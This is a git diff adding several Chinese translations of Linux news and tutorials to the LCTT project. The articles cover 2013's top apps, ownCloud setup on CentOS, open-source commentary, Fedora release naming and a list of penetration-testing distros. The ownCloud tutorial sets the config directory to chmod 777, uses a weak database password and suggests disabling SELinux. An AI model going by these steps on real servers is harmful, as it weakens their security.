怎样的一年呢?* + +**去年的这个时候我们还对 Ubuntu Touch 一无所知;Canonical试图募集3200万美金研发高端智能手机,这本来听起来是多么的疯狂啊;Mir还是太空站,而 Wayland 面向未来;至于 Ubuntu的下两个版本,Saucy Salamanders 和 Trusty Tahrs,虽然它们还没影子,但是一切总在按部就班中进行。** + +今年是繁忙的一年。虽然有约2500万人继续使用普通桌面版以满足日常工作需要,Canonical仍继续大步迈向融合未来的操作系统。 + +两者的关键是在APP上。在上一年我们盘点了10大最受欢迎的桌面软件。今年我们做了一些小小的改动,也包括这一年内发布更新的APP。 + +我们会排除一些‘显而易见’的APP,比如Firefox,Chrome,LibreOffice和Steam (因为我们都知道它们是多么的强大啊)来突出在今年使桌面体验更加完善,而又不太知名的应用程序和实用工具。 + +我们挑选了哪些呢?往下看吧。 + +### Geary ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-04-at-14.30.29.png) + +2013见证了Yorba,那个Geary背后的非营利组织,尝试通过群众募集来保证Geary的未来,却[募集失败了][1]。这可能会让这个APP终结;好多APP并没有展现它们真正的潜能,却只能淹没在历史的尘埃中。庆幸的是,Geary依然还在! + +在令人失望的计划后几个月,Geary 0.4.x 发布,这证明了这个开发团队的奉献精神和耐心。从今年早先时候的一个重要版本的发布,到十月Geary 0.4推出,它提升了稳定性和性能,同时增强了功能。 + +那些坚持认为桌面邮件客户端时代已终结的人们不得不被Yorba折服,承认了错误。现在,Geary在Linux和其他各大平台都是最好的邮件软件之一。 + +- [在Ubuntu软件中心安装Geary][2] + +### Birdie 推特APP ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/07/Screen-Shot-2013-07-11-at-10.51.jpg) + +在Linux平台上的推特APP总有些异常。虽然有大量的推特APP,但很少能像在其他操作系统的专有APP那样运行稳定。而当**Birdie**在今年的三月份发布时,一切都改变了。一年过去了,我们亲眼看到它的成长,从起初不稳定,怨声载道地‘小鸡’成长为一个真正成熟和自信的应用程序。 + +虽然它仍是只羽翼未满的小雏,但它在这仍有一席之地,因为它知道自己的目标,翱翔蓝天,未来铁翅横空。 + +- [查看**Birdie**最新版本][3] + +### Springseed ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/07/springseed.jpg) + +对笔记使用者来说,2013年笔记工具的选择可不少 --从 GNOME下的*Bijiben*(译注:笔记本!)到强大的*Nitro*。但是对于我来说,小工具*Springseed*更引起了我的关注。 + +围绕着易用性的开发,APP响应更迅速界面更加清新。特性中包含实现条理化所需的所有至关重要的功能 - 创建笔记,文本排版,markdown的支持和同步dropbox,等等 - 所有都呈现在一个迷人的界面中,不带任何繁琐而不必要的东西。 + +Springseed是一款免费而且开源的软件,能从官方项目网站中直接下载。 + +- [下载Ubuntu版Springseed][4] + +### Unity Tweak Tool ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/03/Unity-Tweak-Tool.png) + +自从年初发布第一个版本,*Unity Tweak Tool*已成为’*必备*’的APP之一,使那些提供Ubuntu后安装建议的人无言以对。用自行设置和定制化工具,可[轻而易举][5]的量身定制符合自己习惯的 Unity 体验。 + +定期更新,利用每一个新的Ubuntu版本能支持的最新选项,并提供安全的取消按钮‘undo’来取消操作,也就很容易理解为什么该APP已成为众多人喜爱的工具了。 + +- [在Ubuntu中安装 Unity Tweak Tool][6] + +### Intel 显卡驱动安装程序 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/intelgraphicsdriverinstaller.png) + +Intel (尤其是 Intel的*开源技术中心*)使得用今年发布的 Intel 显卡驱动管理程序,使得在Linux下安装最新最好的Intel显卡驱动更加方便。程序能为用户实现自动检测,下载和安装,你只需要轻点几下鼠标和一点点耐心。 + +最初的版本不是没有问题。幸好,随后的版本已经修补了Bug和其他一些稀奇古怪的问题。如果你在今年早些时候尝试时没有成功,那么现在你值得再试一下。 + +- [Intel Driver Manager for Linux][7] + +### Ubuntu SDK ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/07/sdk.jpg) + +这是一个独具一格且重要的选择。今年发布的Ubuntu SDK具备了Ubuntu开发者在手机和平板电脑为 Ubuntu Touch 开发APP 所需的一切。 + +这虽然不会让多数桌面用户使用到,但是在七月的更新特别的加入了一些强大的功能 - 包含一个统一行为的API,能与Ubuntu One数据库同步,支持创建聚合式布局等。 + +- [了解更多Ubuntu SDK][8] + +### VoD Enablement App ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/01/netflix.jpg) + +这个条目与其说是一个APP,还不如说作为一个黑客的智慧结晶。无论如何,幸亏有聪明的Erich Hoover,让Netflix,LoveFilm和其他许多基于Silverlight视频流的站点现在首次能在Ubuntu下*轻松*的观看 - 当然,尽管是非正式的! + +你可以阅览我们一月份以后的文章,了解它支持什么,如何安装,以及如何观看。 + +- [在Ubuntu下如何观看Netflix][9] + +### VLC ### + +这个也许是每个人(也许有人说,不是我喜爱的)都喜爱的媒体播放器在2013进行了大量的更新,并在九月完成了最主要更新。 + +在其Linux版本的一系列特性和改进中,包括支持4k的视频流;VDPAU硬件解码;.MKV文件回放按钮和改进DBus和MPRIS接口等。 + +### Lightworks for Linux ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2012/02/lightworks.jpg) + +Lightworks颇富盛名,奇特而又卓越:有许多特色,强大的功能,面向专业人士,对于多数桌用户来说是不可或缺的利器。无可否认拥有这个APP多么让人震惊啊(常用于编辑一些奥斯卡获奖电影和知名唱片)。 + +该APP幕后公司 Editshare 发布了Linux测试版(虽然有特殊事件延时了发布时间)。但是,自从在四月份发布,他们严格确保维持特性能与Windows版本相差不大 - 这个壮举会在之后的更新中实现。 + +目前,新的特性和调整会在这个星期到来,对于那些幻想自己是下一个伟大的电影制造者,没有比这更好工具了,尝试一下吧。 + + +- [Linux 最新更新的 Lightworks][10] + +### GNOME Music 预览 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/gnome-music.jpg) + +好吧,好吧:这还没竣工呢。事实上,如果你没有运行高度不稳定的GNOME PPAs,你甚至不可能在Ubuntu下用这个。 + +但这无关紧要;我认为GNOME Music是本年度突出的Apps之一. 有些人认为其简单无为,而另一些人则认为小即是美。当然,该APP和做“所有事”的Apps不能相比,但那也偏离了初衷。 + +它在注重设计细节和用户体验方面是首屈一指的。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/12/top-10-linux-apps-of-2013 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2013/04/geary-fundraiser-fails-at-half-way-mark +[2]:apt:geary +[3]:http://www.omgubuntu.co.uk/2013/07/birdie-twitter-app-updates-with-conversations +[4]:http://getspringseed.com/ +[5]:http://www.thefreedictionary.com/doddle +[6]:apt://unity-tweak-tool +[7]:https://01.org/linuxgraphics/downloads/2013/intelr-graphics-installer-1.0.2-linux +[8]:http://developer.ubuntu.com/apps/create/get-the-sdk/ +[9]:http://www.omgubuntu.co.uk/2013/01/how-to-watch-lovefilm-redbox-instant-or-netflix-on-ubuntu +[10]:http://www.omgubuntu.co.uk/2013/11/lightworks-for-linux-beta-updated diff --git a/published/201401/Setup your personal Cloud server in minutes using ownCloud On RHEL, CentOS, Scientific Linux 6.5.md b/published/201401/Setup your personal Cloud server in minutes using ownCloud On RHEL, CentOS, Scientific Linux 6.5.md new file mode 100644 index 0000000000..cf40954a4d --- /dev/null +++ b/published/201401/Setup your personal Cloud server in minutes using ownCloud On RHEL, CentOS, Scientific Linux 6.5.md @@ -0,0 +1,113 @@ +使用ownCloud在Linux安装你的个人云服务 +================================================================================ +[ownCloud][1]是一个免费开源的软件,用于为分享文件,日历,联系人,书签和个人音频/视频。非常容易安装和管理。 + +### 前提 ### + +在这篇教程里我使用CentOS 6.5 minimal server来安装ownCloud。下面是我测试机的资料。 + + Operating system: CentOS 6.5 Minimal Installation + IP Address: 192.168.1.101/24 + +在CentOS 6.5上测试了一段时间,ownCloud适用于所有基于RPM的发行版。 + +你的服务应该工作在LAMP上。参考下面链接去安装LAMP服务。 + +- [在RHEL/Scientific Linux上安装LAMP服务][2] + +安装一下必要的PHP扩展: + + # yum install php-mysql php-json php-xml php-mbstring php-zip php-gd curl php-curl php-pdo + +### 为ownCloud设置数据库 ### + +让我们来创建一个名为'ownclouddb'和数据库用户'ownclouduser'以及密码是'centos'的数据库。 + + # mysql -u root -p + Enter password: + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 66 + Server version: 5.5.34-MariaDB MariaDB Server + + Copyright (c) 2000, 2013, Oracle, Monty Program Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [(none)]> CREATE DATABASE ownclouddb; + Query OK, 1 row affected (0.04 sec) + + MariaDB [(none)]> GRANT ALL ON ownclouddb.* TO ownclouduser@localhost IDENTIFIED BY 'centos'; + Query OK, 0 rows affected (0.01 sec) + + MariaDB [(none)]> flush privileges; + Query OK, 0 rows affected (0.01 sec) + + MariaDB [(none)]> exit + Bye + +### 获取ownCloud ### + +切换到你的apache root目录并下载ownCloud最新版 + +转到Apache root文件目录并下载最新版ownCloud。 + + # wget http://download.owncloud.org/community/owncloud-6.0.0a.tar.bz2 + +用命令解压tar压缩包: + + # tar xvf owncloud-6.0.0a.tar.bz2 + +移动解压后的目录到你的apache root目录 (例如 /var/www/html/) + + # mv owncloud/ /var/www/html/ + +设置一下目录的所有权和权限: + + # chown -R apache:apache /var/www/html/owncloud/ + # chmod 777 /var/www/html/owncloud/config/ + +启用apache重写模式。 + +编辑文件 “**/etc/httpd/conf/httpd.conf**”, + + # vi /etc/httpd/conf/httpd.conf + +查找并修改 **AllowOverride None** 为 **Allowoverride All**. + + [...] + AllowOverride All + [...] + +最后,重启apachehttpd和mysql服务。 + + # service mysql restart + # service httpd restart + +### 开始安装ownCloud ### + +通过你的网页浏览器导航到 **http://ip-address/owncloud** 或 **http://domain-name/owncloud** 。 + +**注意**:如果遇到任何权限错误,禁用SELinux并再试一次。 + +自己的云的主页将出现。你将被要求创建一个新的管理员账户。输入管理员账户信息。 + +然后点击 **Advanced** 下拉按钮,选择mysql并输入mysql数据库名,数据库用户和密码。最后点击 **Finish setup** 来完成安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/03/ownCloud-Mozilla-Firefox_001.jpg) + +这是我的ownCloud界面的样子: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/03/Files-ownCloud-Mozilla-Firefox_002.jpg) + +就是这样。我们的云服务已经准备好了。现在,你可以从你任何网络的客户端来上传/下载你的图片,文件,音频,视频以及访问它们。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/setup-your-personal-cloud-server-in-minutes-using-owncloud/ + +译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://owncloud.org/ +[2]:http://www.unixmen.com/install-lamp-apache-with-mariadb-and-php-on-centosrhelscientific-linux-6/ diff --git a/published/201401/Software May Be Eating The World, But Open Source Software Is Eating Itself.md b/published/201401/Software May Be Eating The World, But Open Source Software Is Eating Itself.md new file mode 100644 index 0000000000..b85b38ea10 --- /dev/null +++ b/published/201401/Software May Be Eating The World, But Open Source Software Is Eating Itself.md @@ -0,0 +1,78 @@ +软件在吞噬世界,但是开源软件在吞噬自己 +================================================================================ +![](http://readwrite.com/files/styles/1400_0/public/fields/shutterstock_144092914.jpg) + +**在开源世界,大家都不安分** + + +像[Marc Andreessen posits][1]所说,软件可能在吞噬世界,但是开源软件似乎在吞噬自己。伴随着快速的步伐,软件世界逐渐习惯产业化,他们的卖主开始为更多的利益投资(比如:在操作系统方面的微软和数据库方面的甲骨文), 开源软件的世界正迈向一个加速进化的时代,从来不满足于既得的荣誉。 + +在快速变更的开源世界,企业如何投资? + +### 开源超神了 ### + +虽然[Dirk Riehle][2]对于开源项目增长的分析并不是特别过时,当然,一部分已经[增长的趋势][3]除外: + +![](http://readwrite.com/files/total-growth-figure-5.jpg) + +现在大部分重要领域的技术-大数据,云,移动-都是开源的。伴随着Haddop、OpenStack等工具的活跃,我们应该期待开源软件卯足了劲发展。 + +这是好是坏? + +### 开源码农竞争激烈 ### + +举个栗子,在系统配置领域。 Redmonk 的 Stephen O'Grady 挑了些数据用来衡量受欢迎程度,Chef、 Puppet、 Ansible 和 Salt,后面两个是这个领域的新星,但是赢得了相当的社区热情和采纳度。 + +这让O'Grady [推测][4]:“ 看起来合理地去认为系统配置领域会和开源关系型数据库一样有相同的变革趋势,伴随着两个突出的工程出现,这样的观点有点问题。” + +O’Grady觉得: + +> 从这些观察中得出的最有趣的结论或许是 Ansible 和 Salt 的关联。这些工程会有不错的前景,比如在这个领域对解决方案的需求,和非常强的个人偏好的影响,例如,Salt 在 Python 开发者当中的亲和力。 + +实际上,我必须承认最有趣的的结论是,没有开源项目能保证长久。Puppet 在2005年退出,并且一直在和有固定期权的在职者竞争,现在和Chef竞争(4年后退出),Ansible(最新两年)和 Salt(最新两年)。 + +任何重要领域的在职者,总是会穷追不舍地吹毛求疵。但是在开源世界,比赛不会等待十亿美元的市场在它产生影响的时候形成。由Chef 和 Puppet 铺垫了的 Salt 和 Ansible 在市场的上升就是一个证明。 + +### 社区付出了,社区也拿走了 ### + +你会发现同样的动态在CMS中(Drupal 、Joomla 、 Alfresco 、 Wordpress 以及无数的其它 CMS),在云中(Eucalyptus 、 OpenStack 、 CloudStack 、 CloudFoundry 、 OpenShift 及其它),在[web 服务器中][5],在关系和非关系的数据库中。 + +开源数据库数量的膨胀伴随着几乎每天都产生的新对手,正如[DB-Engines database tracking service][6]中可以看到的一样。或许最好玩的是开源关系数据库领域,直到最近MySQL支配这个领域。Postgers 也是和 MySQL 赛跑,虽然是老二,但是排得非常后。 + + +现在事情都在变化,或者骚动。很大程度因为 Oracle 的所谓的对 MySQL 社区的践踏,Postggres 在最前沿的 MySQLer中炙手可热。MariaDB 也是这样。虽然还是一个小家伙,比如[RedHat Fedora和Ubuntu等Linux发行版内置数据库更换成MariaDB了][7],Google换掉了MySQL等。 + +或许就像O'Grady说的,这归结为开发者的偏好。如果开发者占据主要地位,小小的可以阻碍他们向更合适自己的新项目转换的障碍,会导致秩序混乱。如果这有道理,将会很好解释开源为什么拒绝长期垄断。 + +很难让开发者保持乐观。 + +### 做一笔社区友好的生意 ### + +对于想要对已有的开源项目投资的企业,这意味着什么呢?一个简单的、也许没有不令人满意的答案是企业应该投入到项目中,确定他们的可持续性,并且给予企业能力去支持他们自己。 + +但是大部分企业不想自己码出最好的代码。 + +相反,他们会去寻找受欢迎程度高的项目,非常适合企业的需求的,而且还有很强的社区的。如果项目在社区变得没什么意思的时候,欢迎程度可能会飞跃。最基础的原因,Linux已经在操作系统之巅呆了很久了,已经适应社区影响和需求。 + +不幸的是,没有什么方法去真正衡量一个开源社区的活力。一些成功的项目,比如OpenStack,取决于强大的基础。其他的,像Linux,取决于强大的个人和他的帮手。 + +但是所有成功的开源项目维持了他们强劲的热度,每几个月就会有一个发行版。快速发展的项目会非常难以供企业支持。 + +企业应该怎样避免开源项目荒废的风险呢? + + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2013/12/12/open-source-innovation + +译者:[ggaaooppeenngg](https://github.com/ggaaooppeenngg) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://online.wsj.com/news/articles/SB10001424053111903480904576512250915629460 +[2]:http://dirkriehle.com/publications/2008-2/the-total-growth-of-open-source/ +[3]:http://www.techrepublic.com/blog/linux-and-open-source/driving-forces-behind-linux-and-open-source-growth/ +[4]:http://redmonk.com/sogrady/2013/12/06/configuration-management-2013/ +[5]:http://www.theregister.co.uk/2013/02/06/open_and_shut/ +[6]:http://db-engines.com/en/ranking +[7]:http://www.zdnet.com/oracle-who-fedora-and-opensuse-will-replace-mysql-with-mariadb-7000010640/ diff --git a/published/201401/The Debian Administrator's Handbook updated for Debian 7 Wheezy published and freely available for download.md b/published/201401/The Debian Administrator's Handbook updated for Debian 7 Wheezy published and freely available for download.md new file mode 100644 index 0000000000..84fffe29a1 --- /dev/null +++ b/published/201401/The Debian Administrator's Handbook updated for Debian 7 Wheezy published and freely available for download.md @@ -0,0 +1,33 @@ +厚达500页的《The Debian Administrator's Handbook》书更新至Debian 7 +================================================================================ + +几个月以前,Debian开发者[发布][1]了《The Debian Administrator's Handbook》,这本便于阅读、组织良好的书深入展现了Debian的内部。 + +本书最初发布的版本现在已经[更新][2]至Debian 7 Wheezy,改名为《**The Debian Administrator's Handbook, Debian Wheezy from Discovery to Mastery**》,新书根据目前现状重新整理了Debian的知识点,并明显增加了手册知识点数量。 + +《The Debian Administrator’s Handbook, Debian Wheezy from Discovery to Mastery》是该手册的第一次重大更新,这次更新距第一次发布已经超过了一年时间,因此,推荐给已经熟悉Debian,并希望提升Debian知识的用户们。 + +> “我们高兴的宣布《The Debian Administrator’s Handbook, Debian Wheezy from Discovery to Mastery》发布了。这是自第一版书(2012年5月)发布后的第一次重大更新。我们更新了所有的章节来介绍Debian 7的改变。我们还删除了一些已经不再适用的过时内容。当然我们也增加了新的东西(如关于 multi-arch的部分),并修正了读者反馈的16个错误。” + +什么是Debian?安装方法、二进制包的结构、软件包的结构、稳定软件库、性能和apt-get命令、配置和编程、通过ADSL连接、数据库、编译内核、RAID和LVM、图形化桌面、创建Debian包等,全部涵盖在了《The Debian Administrator’s Handbook, Debian Wheezy from Discovery to Mastery》的498页内容中。 + +![](http://iloveubuntu.net/pictures_me/The%20Debian%20Administrator%E2%80%99s%20Handbook,%20Debian%20Wheezy%20from%20Discovery%20to%20Mastery.png) + +《The Debian Administrator’s Handbook, Debian Wheezy from Discovery to Mastery》可以免费下载(498页,[PDF][3],[EPUB][4],[MOBI][5])。 + +对于喜欢印刷版书籍的朋友,《The Debian Administrator’s Handbook, Debian Wheezy from Discovery to Mastery》可以通过以下方式购买[http://debian-handbook.info/get/][6] + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/debian-administrator%E2%80%99s-handbook-updated-debian-7-wheezy-published-and-freely-available-download + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://iloveubuntu.net/debian-administrator%E2%80%99s-handbook-available-both-payed-and-free-ebook-epub-mobi-pdf +[2]:http://debian-handbook.info/2013/major-update-of-the-debian-administrators-handbook-for-debian-7-wheezy/ +[3]:http://debian-handbook.info/download/stable/debian-handbook.pdf +[4]:http://debian-handbook.info/download/stable/debian-handbook.epub +[5]:http://debian-handbook.info/download/stable/debian-handbook.mobi +[6]:http://debian-handbook.info/get/ \ No newline at end of file diff --git a/published/201401/The Fedora Project Will No Longer Name Its Linux Distributions.md b/published/201401/The Fedora Project Will No Longer Name Its Linux Distributions.md new file mode 100644 index 0000000000..04d9bf60da --- /dev/null +++ b/published/201401/The Fedora Project Will No Longer Name Its Linux Distributions.md @@ -0,0 +1,21 @@ +Fedora 项目将不再为它的 Linux 发行版取名 +================================================================================ +**Fedora 项目曾有一个丰富多彩的发行版命名历史,但是,这段历史将会在 Fedora 21 这里结束。** + +![](http://i1-news.softpedia-static.com/images/news2/The-Fedora-Project-Will-No-Longer-Name-Their-Linux-Distributions-416156-2.jpg) + +Fedora 开发者已经决定现在是时候结束 Fedora 操作系统的命名规则和命名流程。我们不清楚命名的这一过程是否会由社区来代替实现,但是有一件事是非常确定的:Fedora 有关人员将不会继续为其取名。 + +“Fedora 21 的代号会是什么呢?然而再一次回答:空。不是‘空’字符串而是没有”。Fedora 委员会决定终止发行名称这一过程。但这并不意味“不再有发行名称”,发行名可以取决于社区或是工作组。又或者以任何方式来进行改革,Red Hat 的 Jaroslav Reznik 在[博客][1]中说到。 + +这些出现在一个无名的邮件列表的信息已经流传了相当一段时间了,但是可能到目前为止,Fedora 项目还没有一个很明确的说法。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/The-Fedora-Project-Will-No-Longer-Name-Their-Linux-Distributions-416156.shtml + +译者:[hyaocuk](https://github.com/hyaocuk) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://borntobeopen.blogspot.ru/2014/01/wheres-fedora-21-schedule.html diff --git a/published/201401/The Genius Of Linux Is Community, Not Technology.md b/published/201401/The Genius Of Linux Is Community, Not Technology.md new file mode 100644 index 0000000000..006d75fb2e --- /dev/null +++ b/published/201401/The Genius Of Linux Is Community, Not Technology.md @@ -0,0 +1,69 @@ +Linux的天赋在于社区,而非技术 +================================================================================ +> Linux从未兑现最初的承诺---作为一款传统的桌面操作系统。然而在2013年中,在社区的驱动下,它变得无处不在。 + +![IMG](http://readwrite.com/files/styles/1400_0/public/linus_torvalds.jpg) + +2013年,从各方面看,都是属于Linux的一年。Linux基金会执行董事Jim Zemlin宣布Linux的已经普及到了运算的每一个角落。“从智能手机,平板电脑,消费电器和汽车,到开放云和高性能计算机,以及游戏平台等,是Linux一直是几乎无处不在的,” [Zemlin 说到][1]。 + +Linux是如何蔓延到技术世界的每一个角落?毕竟,Linux并未真正实现其最初的承诺---成为一款取代Microsoft和Windows的传统的桌面操作系统。内核和代码都只是这个故事的一部分,Linux的无所不在归结为它在激发和凝聚社区方面的能力,而非出众的技术。 + +### 足够好,但仍然有一些缺陷 ### + +话虽如此,我们并非认为如果技术较为落后,Linux仍旧会取得今天的成就。正如甲骨文公司的负责Linux、MySQL和虚拟化和开源产品营销的高级主管莫妮卡·库马尔[所说][2],“没有卓越的技术,优越的社会就不会团结在Linux操作系统周围。” 这是任何成功的开源项目的 [关键组件之一][3],即伟大的初始代码。 + +然而,这还不够! + +当刚被推出的时候,Linux是一个廉价的,“足够好”的替代专有UNIX的系统。但是,并未做到更好。事实上,在最早开发Linux后的10多年间,[InfoWorld仍能令人信服地声称][4],“作为UNIX的变种,相比于Linux操作系统,Solaris是技术优越的操作系统”。UNIX,毕竟是定位于一个相对狭窄的应用程序和硬件类型,允许其供应商针对特定的任务来深度优化它的性能。 + +[正如IBM所解释的那样][5],Linux恰恰相反: + +> GNU / Linux的发展...比UNIX更加多样化。开发人员来自许多不同的背景,因此有不同的经验和想法。在Linux社区内部,目前还没有一套严格的标准的工具,环境和功能....由于缺乏标准,导致Linux中出现明显的不一致性。 + +有趣的是,这也赋予了Linux最大的优势:适用于所有用户的能力。 + +### 为何社区喜爱Linux ### + +但为什么是Linux?考虑到当Linux推出时,对于大多数任务来说,只是勉强足够使用,是什么促使一个社区形成的?Ubuntu Linux制造商Canonical的OEM部门主管,Brent Fox,认为相对于失败的风险,一个公共平台的回报更加诱人。 + +> [@mjasay][6] 在很长一段时间内,该技术本身是不成熟的。这对于已经厌烦现在的OS的人们是一种吸引力,它吸引了一大群人 +> — Brent Fox (@brentfox) [December 19, 2013][7] + +这些基本上来说是对的,但它与历史并不完全相符。毕竟,Linux的最早倡导者之一,是一个有庞大的UNIX的业务需要保护的公司:IBM。IBM需要Linux来统一其不同的硬件线路,并且看到了在Linux上搭建一个更大的硬件和服务业务的潜力,即使以某些UNIX的收入为代价。 + +现如今,Linux成为许多数十亿美元级别公司的心脏。就如["Who Writes Linux?"报告反映][8]的,Linus Torvalds的这个小玩具已经成为世界上一些大公司和最好的开发者关注的焦点。 + +### 通过多样性所获得的优势 ... 以及Linus ### + +控制冲突的能力,以及有时在一面旗帜下控制竞争利益的能力使得Linux变得如此成功。它促使不同的公司和个人开发者通过塑造Linux来满足他们的需求。正如Apache软件基金会主席吉姆[Jagielski告诉我的那样][9],和建立一个健康的可行的社区相比,“建立内核较为容易,Linux之所以能够成功,是因为它有一个成功的社区。” + +寻求和发现Linux成功之处的顶级Linux开发赞助商名单: + +![](http://readwrite.com/files/Screen%20Shot%202013-12-19%20at%208.58.36%20AM.png) + +支撑这种多样性的是[Linus Torvald的非凡的领导][10]“。由于许多人试图令Linux私有化,托沃兹已经设法让由他的权威所支持的Linux对这种行为说“不”。它工作得很好,但拥有足够的弹性,来让公司提供驱动程序或其他技术,使得Linux非常适合他们的客户。 + +Linux技术尽管已经变得如此神奇,然而,它并非Linux的最大优势。正如Zemlin在电子邮件中告诉我的那样: + +> 这些天,我并没有得到许多关于Linux的询问,尽管到处都在使用它。许多公司想知道如何最大限度地发挥它的性能以及如何将它的原理应用于其他的事情。这便是我所感兴趣的问题:社区是如何工作的。 + +伟大的技术一直都在被创造。然而大多数都没能找到观众。Linus Torvalds以及他所塑造的Linux发展的天赋在于,他所开创和完善的社会发展模式。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2013/12/19/the-genius-of-linux-is-community-not-technology#feed=/hack + +译者:[tomatoKiller](https://github.com/tomatoKiller) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxfoundation.org/news-media/blogs/browse/2013/12/2013-year-linux-the%E2%80%A6everything +[2]:https://twitter.com/mbkumar/status/413689410308173825 +[3]:http://asay.blogspot.com/2005/09/so-you-want-to-build-open-source.html +[4]:http://www.infoworld.com/t/platforms/seven-ways-solaris-can-beat-linux-978 +[5]:http://www.ibm.com/developerworks/aix/library/au-unix-difflinux.html +[6]:https://twitter.com/mjasay +[7]:https://twitter.com/brentfox/statuses/413696557620293632 +[8]:http://www.linuxfoundation.org/publications/linux-foundation/who-writes-linux-2013 +[9]:https://twitter.com/jimjag/status/413704747791970304 +[10]:http://readwrite.com/2013/08/27/linux-turns-22-but-open-source-is-eternal diff --git a/published/201401/Top 10 Linux Distros For Hackers!.md b/published/201401/Top 10 Linux Distros For Hackers!.md new file mode 100644 index 0000000000..3960efd2de --- /dev/null +++ b/published/201401/Top 10 Linux Distros For Hackers!.md @@ -0,0 +1,44 @@ +十大顶级的黑客级Linux发行版! +================================================================================ +黑客和安全研究员需要在他们手边随时都有那些黑客工具。它们很多都是基于流行的Ubuntu和Debain操作系统,并且其中已经安装了许多黑客工具。 + +![](http://www.efytimes.com/admin/useradmin/photo/ef0R121832PM132014.jpg) + +1. [BackTrack 5r3][1]:这是一个最受欢迎和广为人知的基于Linux的黑客发行版。它是基于Canonical的Ubuntu操作系统的,它的logo的意思是,"如果你更安静,你将听到的更多。"在版本5中,除了以前的KDE桌面外,还增加了GNOME桌面环境。 + +2. [Nodezero][2]:这是另外一个基于Ubuntu的黑客版,它用于渗透测试。它会跟着Ubuntu同步更新的。 + +3. [BackBox Linux][3]: 这也是一个基于Ubuntu的黑客工具。根据开发者称,它被设计来创建一个渗透测试发行版,并且快速而易用。它还可以通过软件仓库来更新那些白帽渗透测试工具。 + +4. [Blackbuntu][4]:Ubuntu自己虽然不是一个黑客工具,但是有许多基于它的黑客版本。这个发行版带来了诸如网络扫描、信息获取、渗透、漏洞识别,权限提升,无线网络分析、VoIP分析等各类工具。 + +5. [Samurai Web Testing Framework][5]:这个发行版主要关注在对网站的攻击方面,它使用最好的免费开源的工具攻击和入侵网站。开发者已经把包括侦查、映射、探索和利用的攻击的四个步骤都集成到了发行版中。 + +6. [Knoppix STD][6]:从Ubuntu迁移到了Debian,Knoppix STD现在是一个基于Debian的黑客发行版,可以运行GNOME、KDE、LXDE和Openbox等桌面环境。它已经出现了很长一段时间,并且是它们之中最早的live发行版。 + +7. [Pentoo][7]:这是一个基于Gentoo的针对安全测试的live CD。它带来了大量的自定义工具和内核。包括Backported WiFi stack, XFCE4等等。 + +8. [Weakerthan][8]:这个发行版使用Flufbox桌面环境,它包含了很多无线工具,最适合用于WiFi攻击。它基于Debian Squeeze发行版,具有WiFi攻击、Cisco漏洞利用、SQL入侵、Web入侵、蓝牙及其他功能。 + +9. [Matriux Krypton][9]:这也许是第一个直接基于Debian OS的发行版。它是一个有300个安全工具的兵工厂,是白帽测试、渗透测试、安全测试、系统和网络管理、网络取证的一个好选择。 + +10. [DEFT][10]:一款带有DART(Digital Advanced Response Toolkit,高级数字响应工具)的基于Linux Kernel 3 的操作系统。它使用WINE来在Linux上运行Windows工具,并主要运行LXDE桌面环境。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=125775 + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.backtrack-linux.org/downloads/ +[2]:http://www.nodezero-linux.org/downloads +[3]:http://www.backbox.org/downloads +[4]:http://sourceforge.net/projects/blackbuntu/ +[5]:http://sourceforge.net/projects/samurai/files/ +[6]:http://s-t-d.org/download.html +[7]:http://www.pentoo.ch/download/ +[8]:http://weaknetlabs.com/main/?page_id=479 +[9]:http://sourceforge.net/projects/matriux/ +[10]:http://iso.linuxquestions.org/deft-linux/deft-linux-7/ \ No newline at end of file diff --git a/published/201401/Tunnel SSH Connections Over SSL Using 'Stunnel' On Debian 7 Ubuntu 13.10.md b/published/201401/Tunnel SSH Connections Over SSL Using 'Stunnel' On Debian 7 Ubuntu 13.10.md new file mode 100644 index 0000000000..f42d93ca88 --- /dev/null +++ b/published/201401/Tunnel SSH Connections Over SSL Using 'Stunnel' On Debian 